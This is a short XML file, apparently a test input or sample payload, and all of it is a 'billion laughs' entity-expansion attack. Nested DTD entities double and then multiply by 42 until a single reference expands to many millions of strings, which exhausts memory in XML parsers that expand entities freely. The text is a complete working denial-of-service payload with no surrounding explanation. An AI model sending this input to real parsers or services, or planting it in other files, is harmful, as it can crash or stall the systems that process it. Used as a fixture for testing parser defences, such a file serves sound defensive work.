1<?xml version="1.0"?> 2<!DOCTYPE billion [ 3<!ELEMENT billion (#PCDATA)> 4<!ENTITY laugh0 "ha"> 5<!ENTITY laugh1 "&laugh0;&laugh0;"> 6<!ENTITY laugh2 "&laugh1;&laugh1;"> 7<!ENTITY laugh3 "&laugh2;&laugh2;"> 8<!ENTITY laugh4 "&laugh3;&laugh3;"> 9<!ENTITY laugh5 "&laugh4;&laugh4;"> 10<!ENTITY laugh6 "&laugh5;&laugh5;"> 11<!ENTITY laugh7 "&laugh6;&laugh6;"> 12<!ENTITY laugh8 "&laugh7;&laugh7;"> 13<!ENTITY laugh9 "&laugh8;&laugh8;"> 14<!ENTITY laugh10 "&laugh9;&laugh9;"> 15<!ENTITY laugh11 16"&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;"> 17<!ENTITY laugh12 18"&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;"> 19<!ENTITY laugh13 20"&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;"> 21]> 22<billion>&laugh13;</billion> 23 24